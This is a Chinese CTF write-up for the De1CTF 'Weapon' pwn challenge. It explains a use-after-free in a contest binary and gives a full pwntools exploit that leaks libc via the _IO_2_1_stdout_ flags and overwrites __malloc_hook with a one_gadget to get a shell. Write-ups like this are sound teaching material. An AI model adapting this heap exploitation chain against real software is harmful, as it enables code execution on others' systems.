De1CTF Weapon
程序员文章站
2022-03-27 20:41:58
...
1.保护机制
[*] '/home/yzl/Documents/delta/weapon/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
2.漏洞分析
主要是一个uaf
难点主要在于没有输出函数,并且限制0< chunk size <=0x60。
3.漏洞利用
1) 伪造small chunk,free,fd、bk指针指向 libc
先构造一个0x20的bin 链表
再次malloc 0x18就能取得0x555555757100 处的chunk,这样我们就能将下面0x71的chunk 的size改为0xb1
再次free就能得到libc
2)修改 _IO_2_1_stdout_结构体 中的flag域,从而将libc泄露出来
libc地址用一下就好,把size改回0x70,把libc的\x78\x1b改为\xdd\x25,5dd是偏移,2是随便猜的,1/16的几率,多试几次就好
double free,控制_IO_2_1_stdout_结构体附近的内存,把flag改为0xfbad1800,至于为什么---->大佬这么说。但是我不知道为啥,并不能将_IO_write_base的最低位给修改了,但是不影响
然后会泄露出一坨东西,随便找一个libc地址然后就能得到libc_base
就它了
3) 向 _malloc_hook 写入one_gadget,getshell
double free,直接向__malloc_hook_写就好了
exp
from pwn import *
import LibcSearcher as ls
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('./pwn')
#p=remote('139.180.216.34',8888)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create(index, size, name, choise=0):
if choise==0:
p.sendlineafter('choice >> \n', '1')
p.sendlineafter('wlecome input your size of weapon: ', str(size))
p.sendlineafter('input index: ', str(index))
if len(name) != size:
name=name+'\n'
p.sendafter('input your name:\n',name)
else:
p.sendlineafter('choice >> ', '1')
p.sendlineafter('wlecome input your size of weapon: ', str(size))
p.sendlineafter('input index: ', str(index))
if len(name) != size:
name=name+'\n'
p.sendafter('input your name:',name)
def delete(index,choise=0):
if choise==0:
p.sendlineafter('choice >> \n', '2')
p.sendlineafter('input idx :',str(index))
else:
p.sendlineafter('choice >> ', '2')
p.sendlineafter('input idx :',str(index))
def rename(index,name,choise=0):
if choise==0:
p.sendlineafter('choice >> \n', '3')
p.sendlineafter('input idx: ', str(index))
p.sendlineafter('new content:\n', name)
else:
p.sendlineafter('choice >> ', '3')
p.sendlineafter('input idx: ', str(index))
p.sendlineafter('new content:', name)
create(1, 0x60, '1')
create(2, 0x60, '2')
create(3, 0x20,'a'*0x10+p64(0)+p64(0x21))#伪造0x20 chunk,达到修改chunk 6 的chunk head的目的
create(6, 0x60, '6')
create(4, 0x1, '4')
create(5, 0x1, '5')
create(8, 0x60, '8')
create(9, 0x60, '9')
create(7,0x50,'a')
#make fake chunk
delete(4)
delete(5)
delete(4)
delete(6)
create(7, 0x1, '\x00')
create(7, 0x1, '\x00')
create(4, 0x1, '\x00')
#get libc
create(4, 0x12, p64(0) + p64(0xb1))
delete(6)
rename(4, p64(0) + p64(0x71) + '\xdd\x25')
create(7, 0x60, 'a')
#leak libc
create(7, 0x60, 'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+'\x00')
leak=u64(p.recv(8).ljust(8,'\x00'))
libc_base = leak - (0x7ffff7a89b00 -0x7ffff7a0d000)
print hex(libc_base + libc.symbols['__malloc_hook'])
malloc_hook=libc_base + libc.symbols['__malloc_hook']
offset=0xf1147
one_gadget=libc_base+offset
#change __malloc_hook to one_gadget
delete(8,1)
delete(9, 1)
delete(8, 1)
create(9, 0x60, '\x00',1)
create(9, 0x60, '\x00', 1)
rename(8, p64(malloc_hook -0x13), 1)
create(9, 0x60, '\x00', 1)
create(8, 0x60, 'a' * 3 + p64(one_gadget), 1)
p.sendlineafter('choice >> ', '1')
p.sendlineafter('wlecome input your size of weapon: ', str(0x50))
p.sendlineafter('input index: ', str(1))
p.interactive()
https://hpasserby.me/post/8e1cd5dc.html#overlapping
https://bbs.pediy.com/thread-246966.htm
上一篇: 【pwn】 3dsctf2016_get_started
下一篇: tomcat是干什么的?